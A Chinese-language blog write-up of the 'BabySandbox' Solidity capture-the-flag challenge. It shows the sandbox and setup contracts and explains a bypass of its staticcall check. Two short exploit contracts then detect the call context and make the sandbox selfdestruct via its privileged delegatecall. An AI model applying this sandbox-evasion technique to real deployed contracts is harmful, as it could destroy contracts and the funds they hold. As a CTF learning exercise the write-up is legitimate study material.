这个是去安全客翻zbr文章的时候看见的题,因为刚玩,还是想着多搞点题找点感觉
合约代码
BabySandbox.sol
12345678910111213141516171819202122232425262728293031323334353637383940414243444546 |
pragma solidity 0.7.0;contract BabySandbox { function run(address code) external payable { assembly { // if we're calling ourselves, perform the privileged delegatecall if eq(caller(), address()) { switch delegatecall(gas(), code, 0x00, 0x00, 0x00, 0x00) case 0 { returndatacopy(0x00, 0x00, returndatasize()) revert(0x00, returndatasize()) } case 1 { returndatacopy(0x00, 0x00, returndatasize()) return(0x00, returndatasize()) } } // ensure enough gas if lt(gas(), 0xf000) { revert(0x00, 0x00) } // load calldata calldatacopy(0x00, 0x00, calldatasize()) // run using staticcall // if this fails, then the code is malicious because it tried to change state if iszero(staticcall(0x4000, address(), 0, calldatasize(), 0, 0)) { revert(0x00, 0x00) } // if we got here, the code wasn't malicious // run without staticcall since it's safe switch call(0x4000, address(), 0, 0, calldatasize(), 0, 0) case 0 { returndatacopy(0x00, 0x00, returndatasize()) // revert(0x00, returndatasize()) } case 1 { returndatacopy(0x00, 0x00, returndatasize()) return(0x00, returndatasize()) } } }} |
Setup.sol
12345678910111213141516171819 |
pragma solidity 0.7.0;import "./BabySandbox.sol";contract Setup { BabySandbox public sandbox; constructor() { sandbox = new BabySandbox(); } function isSolved() public view returns (bool) { uint size; assembly { size := extcodesize(sload(sandbox.slot)) } return size == 0; }} |
解题目标大概就是让sandbox这个合约的字节码size为0,就是让这个合约自毁叭。
那么看到这个BabySandbox里,应该是要用到里头的delegatecall,让它调用一下selfdestruct就可以了
但是首先,想要进这个delegatecall,需要满足条件eq(caller(), address()),
于是看到下面有一个
123 |
if iszero(staticcall(0x4000, address(), 0, calldatasize(), 0, 0)) {revert(0x00, 0x00)} |
他会合约自己进行一个staticcall【address() 就是 this.address】
类似于把你的calldata【此时你的calldata应该是 函数选择器为 run,参数为code 的 字节码】放进一个沙箱去执行,看你这个calldata有没有改变状态,有就revert了。要是没有,往下走,这儿就有一个
1
|
call(0x4000, address(), 0, 0, calldatasize(), 0, 0)
|
这个区别于staticcall他就是可以改变状态了。
所以我们就是要把selfdestruct塞到这个里面去。
但是显然selfdestruct是会改变合约状态的,这样在前面就被revert了。怎么绕呢?
我们想让BabySandbox执行我们合约的时候,staticcall能过,call又能调用到selfdestruct,所以我们的合约是需要能够检查到是被staticcall调用了,还是被call调用了这样一个功能。
在这篇wp提到,
既然不会整个revert,我们可以再部署一个被call时会改变状态(自毁啊,事件啥的)的合约,为了区别一下,这个合约就叫状态会改变合约,然后我们要传给BabySandbox的为瞒天过海合约,
我们的瞒天过海合约被call时,就call一下状态会改变合约,看一下返回值,如果返回0,说明状态修改失败,此时是staticcall,我们瞒天过海合约啥也不做,此时对于调用瞒天过海合约的staticcall来说,我们的瞒天过海合约正常执行了,虽然没返回什么东西,但也没报错啊【老实人.jpg】,于是返回一个1,就过了iszero了。
然后BabySandbox就走到call了,当call我们的瞒天过海合约的时候,瞒天过海合约又call一下状态会改变合约,这个时候状态应该修改成功,我们的瞒天过海合约收到一个1,然后瞒天过海合约就给BabySandbox调用一个selfdestruct。
参考https://medium.com/furucombo/sharing-some-paradigm-ctf-solutions-befac01800e3
具体步骤就是先部署一个状态会改变合约(被call的时候会触发一个事件)
123456789 |
pragma solidity 0.7.0;contract Foo { event StateChanged(bool); fallback() external { emit StateChanged(true); }} |
这个合约部署好了之后,拿到他的地址(我这里是0xcD6a42782d230D7c13A74ddec5dD140e55499Df9),硬编码到我们的瞒天过海合约里头
12345678910111213 |
pragma solidity 0.7.0;contract Suicide { fallback() external { if(_isStaticCall()) { selfdestruct(address(0)); } } function _isStaticCall() internal returns (bool) { (bool success, ) = address(0xcD6a42782d230D7c13A74ddec5dD140e55499Df9).call("0x"); return success; }} |
然后把我们的瞒天过海合约部署的地址传给BabySandbox就好了。
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可联系QQ 643713081,也可以邮件至 [email protected] - source:Van1sh的小屋
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论